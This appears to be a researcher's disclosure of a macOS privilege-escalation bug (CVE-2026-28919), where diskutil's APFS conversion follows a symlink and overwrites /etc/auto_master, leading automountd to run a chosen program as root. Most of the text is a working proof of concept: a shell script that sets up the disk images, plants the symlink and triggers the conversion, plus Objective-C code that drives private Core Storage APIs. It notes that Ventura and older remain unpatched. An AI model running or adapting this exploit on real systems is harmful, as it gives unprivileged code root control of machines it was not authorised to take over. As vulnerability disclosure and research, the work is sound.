In a diskutil apfs convert bug much like these two, storagekitd followed symlinks when saving a Core Storage encryption plist.
Surprisingly, writing mostly uncontrolled XML could still escalate privileges. I made an HFS+ volume with a link to /etc/auto_master and a password hint of an executable's path. After the file was overwritten, automountd ran the program as root (ignoring other lines in the plist).
I reported the bug in March 2026, and it was fixed in macOS 14.8.7, macOS 15.7.7, and macOS 26.5:
Impact: An app may be able to gain root privileges
Description: A consistency issue was addressed with improved state handling.
CVE-2026-28919: Amy (amys.website)
Ventura and older are still vulnerable.
Affected versions will (repeatedly) launch root Terminal windows.
whole=$(hdiutil attach -nomount -plist ram://10000000 | plutil -extract system-entities.0.dev-entry raw -)
diskutil partitiondisk $whole gpt jhfs+ evil_cs 1g %Apple_Boot% %noformat% r
newfs_hfs -v evil_boot ${whole}s3
diskutil mount ${whole}s3
clang -fmodules -F /System/Library/PrivateFrameworks -framework DiskManagement -l csfde 'cs caller.m' -o /tmp/cs_caller
/tmp/cs_caller /Volumes/evil_cs correcthorsebatterystaple '
/home /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
'
while [[ $(diskutil cs info -plist evil_cs | plutil -extract CoreStorageLogicalVolumeConversionState raw -) != Complete ]]
do
sleep 1
done
ln -s /private/etc/auto_master /Volumes/evil_boot/.com.apple.diskmanagement.apfs.convert.SavedEncryptedRootPList
chflags -h uchg /Volumes/evil_boot/.com.apple.diskmanagement.apfs.convert.SavedEncryptedRootPList
diskutil apfs convert evil_cs
ls /home/hello
Since diskutil cs convert was removed in Big Sur, the script uses this code to encrypt the volume. There's probably a better way.
@import Foundation;
@import DiskArbitration;
@interface DMManager:NSObject
+(DMManager*)sharedManager;
-(void)setDefaultDASession:(DASessionRef)session;
-(void)setDelegate:(NSObject*)delegate;
@end
@interface DMCoreStorage:NSObject
-(instancetype)initWithManager:(DMManager*)manager;
-(int)convertDisk:(DADiskRef)disk options:(NSDictionary*)options;
@end
NSString* DMUnlocalizedTechnicalErrorString(int);
NSString* CSFDEStorePassphrase(char*);
@interface AmyDelegate:NSObject
@end
@implementation AmyDelegate
-(void)dmAsyncStartedForDisk:(DADiskRef)disk
{
}
-(void)dmAsyncProgressForDisk:(DADiskRef)disk barberPole:(BOOL)indeterminate percent:(float)percent
{
}
-(void)dmAsyncMessageForDisk:(DADiskRef)disk string:(NSString*)string dictionary:(NSDictionary*)dictionary
{
NSLog(@"async message %@",string);
}
-(void)dmAsyncFinishedForDisk:(DADiskRef)disk mainError:(int)error detailError:(int)detail dictionary:(NSDictionary*)dictionary
{
NSLog(@"async finished error %d (%@) detail %d (%@)",error,DMUnlocalizedTechnicalErrorString(error),detail,DMUnlocalizedTechnicalErrorString(detail));
exit(error);
}
@end
int main(int argCount,char** args)
{
if(argCount!=4)
{
NSLog(@"usage: %s <path> <pw> <pw hint>",args[0]);
return 1;
}
DMManager* manager=DMManager.sharedManager;
DASessionRef session=DASessionCreate(NULL);
assert(manager);
assert(session);
manager.defaultDASession=session;
manager.delegate=AmyDelegate.alloc.init;
DADiskRef disk=DADiskCreateFromVolumePath(NULL,session,(CFURLRef)[NSURL fileURLWithPath:@(args[1])]);
assert(disk);
DMCoreStorage* cs=[DMCoreStorage.alloc initWithManager:manager];
assert(cs);
int error=[cs convertDisk:disk options:@{
@"AKSPassphraseUUID":CSFDEStorePassphrase(args[2]),
@"AKSPassphraseHint":@(args[3])
}];
NSLog(@"sync error %d (%@)",error,DMUnlocalizedTechnicalErrorString(error));
if(error)
{
return error;
}
CFRunLoopRun();
}